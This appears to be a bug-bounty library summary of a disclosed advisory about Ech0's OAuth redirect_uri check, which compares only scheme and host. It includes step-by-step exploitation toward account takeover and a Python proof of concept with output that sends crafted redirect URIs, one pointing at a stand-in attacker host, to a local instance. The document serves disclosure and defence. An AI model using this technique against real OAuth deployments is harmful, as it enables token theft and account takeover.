# Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft

Ech0's OAuth redirect_uri validation compared only scheme and host, letting attackers redirect the one-time exchange code to any path on an allowlisted host and steal tokens.

- Payout: Research
- Severity: high
- Program: Ech0
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-05-07
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p64j-f4x9-wq66
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p64j-f4x9-wq66
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:go tech:jwt tech:oauth technique:source-review vuln:account-takeover vuln:auth-bypass vuln:open-redirect

**Target:** OAuth login/callback endpoints and /api/auth/exchange
**Root cause:** parseAndValidateClientRedirect compares only scheme and host via EqualFold, ignoring path/query/fragment, and redirect_uri is never validated at login time before being embedded in the signed state JWT.
**Steps:**
1. Configure OAuth with allowlist entry `https://myecho.example.com/dashboard`.
2. Send victim link `GET /oauth/github/login?redirect_uri=https://myecho.example.com/attacker-chosen-path`; state JWT carries the URL verbatim.
3. Victim completes OAuth; callback validates scheme+host only and passes, then `302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>`.
4. Leak the code via Referer, analytics, or an open redirect on that host.
5. Trade code at `POST /api/auth/exchange` for victim access and refresh tokens.
**How found:** Code review of the redirect validation function noticed only scheme and host were compared, and that login-time handler passed redirect_uri unvalidated into the state JWT; PoC confirmed all three URIs entered the state JWT.
**Exploitation:** Attacker phishes a single login link; victim authenticates and lands on an attacker-chosen path on the legitimate host with the one-time code in the query string. Code is exfiltrated via Referer header, third-party analytics, or an open-redirect chain, then exchanged at the public POST /api/auth/exchange within 60s for the victim's access and refresh tokens, achieving account takeover.
**Escalation:** Chains the redirect with any URL-leaking page (Referer, analytics, open redirect) on the allowlisted host to convert a path bypass into full account takeover.
**Insight:** When auditing OAuth redirect allowlists, check whether comparison normalizes the full URI or only scheme+host; also check whether validation happens at login (state embedding) versus only at callback, since the code lands in the redirect target's query string.

## Proof of concept (copied exactly from the original report)

**Python PoC sending crafted redirect_uri login links**

```
import requests, urllib.parse, base64, json
TARGET = "http://localhost:8300"

# Admin setup: enable OAuth with one allowed return URL (dashboard).
owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]
requests.put(f"{TARGET}/api/oauth2/settings",
             headers={"Authorization": f"Bearer {owner}",
                      "content-type": "application/json"},
             json={"enable": True, "provider": "github",
                   "client_id": "poc-client-id", "client_secret": "poc-client-secret",
                   "redirect_uri": f"{TARGET}/oauth/github/callback",
                   "scopes": ["read:user"],
                   "auth_url": "https://github.com/login/oauth/authorize",
                   "token_url": "https://github.com/login/oauth/access_token",
                   "user_info_url": "https://api.github.com/user",
                   "auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]})

# Alice's link to the victim. Same host, different path.
for attacker_uri in [
    "https://myecho.example.com/dashboard",            # control, allowed
    "https://myecho.example.com/attacker-chosen-path", # path bypass
    "https://attacker.example/foo",                    # different host, should also fail
]:
    url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri)
    r = requests.get(url, allow_redirects=False)
    loc = r.headers.get("Location", "")
    state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0]
    pad = lambda s: s + "=" * (-len(s) % 4)
    payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1])))
    print(f"  redirect_uri={attacker_uri!r}")
    print(f"    login HTTP: {r.status_code}")
    print(f"    state JWT redirect: {payload.get('redirect')!r}")
```

**Observed output showing path bypass accepted**

```
redirect_uri='https://myecho.example.com/dashboard'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/dashboard'
redirect_uri='https://myecho.example.com/attacker-chosen-path'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'
redirect_uri='https://attacker.example/foo'
  login HTTP: 302
  state JWT redirect: 'https://attacker.example/foo'
```

